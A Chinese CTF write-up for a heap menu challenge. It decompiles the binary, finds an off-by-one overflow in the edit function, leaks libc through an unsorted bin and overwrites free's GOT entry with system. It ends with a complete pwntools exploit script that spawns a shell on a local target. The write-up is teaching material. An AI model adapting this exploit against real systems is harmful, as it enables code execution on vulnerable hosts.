320 字
1 分钟
5.17 考核wp
WP
将文件拖入 ida 发现这是一道菜单题,进一步分析发现如下重要函数
- 创建堆块
unsigned __int64 create_heap(){ __int64 v0; // rbx int n9; // [rsp+4h] [rbp-2Ch] size_t size; // [rsp+8h] [rbp-28h] char buf[8]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u); for ( n9 = 0; n9 <= 9; ++n9 ) { if ( !*(&heaparray + n9) ) { *(&heaparray + n9) = malloc(0x10u); if ( !*(&heaparray + n9) ) { puts("Allocate Error"); exit(1); } printf("Size of Heap : "); read(0, buf, 8u); size = atoi(buf); v0 = (__int64)*(&heaparray + n9); *(_QWORD *)(v0 + 8) = malloc(size); if ( !*((_QWORD *)*(&heaparray + n9) + 1) ) { puts("Allocate Error"); exit(2); } *(_QWORD *)*(&heaparray + n9) = size; printf("Content of heap:"); read_input(*((_QWORD *)*(&heaparray + n9) + 1), size); puts("SuccessFul"); return __readfsqword(0x28u) ^ v5; } } return __readfsqword(0x28u) ^ v5;}通过分析这个函数可以知道,按照如下结构来进行存储
heaparray[]
malloc(10) struct: - size - *data_ptr - malloc(size)- 编辑堆块
unsigned __int64 edit_heap(){ int n0xA; // [rsp+Ch] [rbp-14h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4u); n0xA = atoi(buf); if ( (unsigned int)n0xA >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( *(&heaparray + n0xA) ) { printf("Content of heap : "); read_input(*((_QWORD *)*(&heaparray + n0xA) + 1), *(_QWORD *)*(&heaparray + n0xA) + 1LL); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u)^ v3;}从这里看到在这里存在溢出,可写入的内容比实际size大1,所以存在 one by off
- 展示堆块
unsigned __int64 show_heap(){ int n0xA; // [rsp+Ch] [rbp-14h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4u); n0xA = atoi(buf); if ( (unsigned int)n0xA >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( *(&heaparray + n0xA) ) { printf("Size : %ld\nContent : %s\n", *(_QWORD *)*(&heaparray + n0xA), *((const char **)*(&heaparray + n0xA) + 1)); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3;}这个函数可以直接展示一个堆块的内容
- 删除堆块
unsigned __int64 delete_heap(){ int n0xA; // [rsp+Ch] [rbp-14h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4u); n0xA = atoi(buf); if ( (unsigned int)n0xA >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( *(&heaparray + n0xA) ) { free(*((void **)*(&heaparray + n0xA) + 1)); free(*(&heaparray + n0xA)); *(&heaparray + n0xA) = 0; puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3;}这个函数可以直接删除一个函数的内容,由于在释放堆块后会将指针置0,所以不存在 Uaf
解题
由于题目中没有提供后门函数,所以需要使用libc, 首先通过malloc 不会初始化chunk内容的特性泄露出 fd指向的 main_arena的地址,从而计算出libc的地址,
同时由于发现 one by off 漏洞,所以可以实现任意地址读写
通过查看 checksec 程序保护发现 GOT 可写。可以选择尝试将free 函数覆盖为 system。
- 泄露 libc
首先创建 unsortedbins 泄露出指向main_arena 的地址从而计算出 libc 的基地址。
- one by off
通过
one by off实现任意地址读写,这里选择 改写free函数的got表为system
于是得到如下exp
from pwn import *
file = "./heap_patched"host = "127.0.0.1"port = 1234
isRemote = False
context.log_level = "debug"context.binary = file
if isRemote: p = remote(host, port)else: p = process(file)
elf = ELF(file)rop = ROP(elf)libc = ELF("./libc-2.23.so")
def menu(): global p p.recvuntil(b"Your choice :")
def create_heap(size: int, content: bytes): global p menu() p.sendline(b"1")
p.recvuntil(b"Size of Heap : ") p.sendline(str(size).encode())
p.recvuntil(b"Content of heap:") p.sendline(content)
def edit_heap(index: int, content: bytes): global p menu() p.sendline(b"2")
p.recvuntil(b"Index :") p.sendline(str(index).encode())
p.recvuntil(b"Content of heap : ") p.sendline(content)
def show_heap(index: int): global p menu() p.sendline(b"3")
p.recvuntil(b"Index :") p.sendline(str(index).encode())
def delete_heap(index: int): global p menu() p.sendline(b"4")
p.recvuntil(b"Index :") p.sendline(str(index).encode())
def exit(): global p menu() p.sendline(b"5")
# unsorted binscreate_heap(0xff, b"") #0create_heap(0xff, b"") #1
delete_heap(0)create_heap(0xff, b"aaaaaaaa") #0 fd
show_heap(0)p.recvuntil(b"a" * 8)leak_str = p.recv(6)leak = u64(leak_str.ljust(8, b"\x00"))offset = 0x3c4b0alibc.address = leak - offset
system_addr = libc.sym["system"]binsh = next(libc.search(b"/bin/sh\x00"))free = elf.got["free"]
log.success(f"leak-str: {leak_str}")log.success(f"libcBase: {hex(libc.address)}")log.success(f"binsh: {hex(binsh)}")log.success(f"system: {hex(system_addr)}")
delete_heap(0)delete_heap(1)# raw_input(f"pwndbg -p {p.pid}")
# fastbin
# struct:# size# data_ptr -> malloc(size)
create_heap(0x18, b"a" * 18) # 0create_heap(0x18, b"b" * 18) # 1create_heap(0x18, b"c" * 18) # 2create_heap(0x18, b"/bin/sh\x00") # 3
payload = flat( { 0x18: p8(0x81) }, filler = b"a")edit_heap(0, payload)delete_heap(1)
offset = 0x40payload = flat( { offset: [ p64(0x8), p64(free) ] })create_heap(0x70, payload)edit_heap(2, p64(system_addr))
delete_heap(3)p.interactive()# exit() 分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时










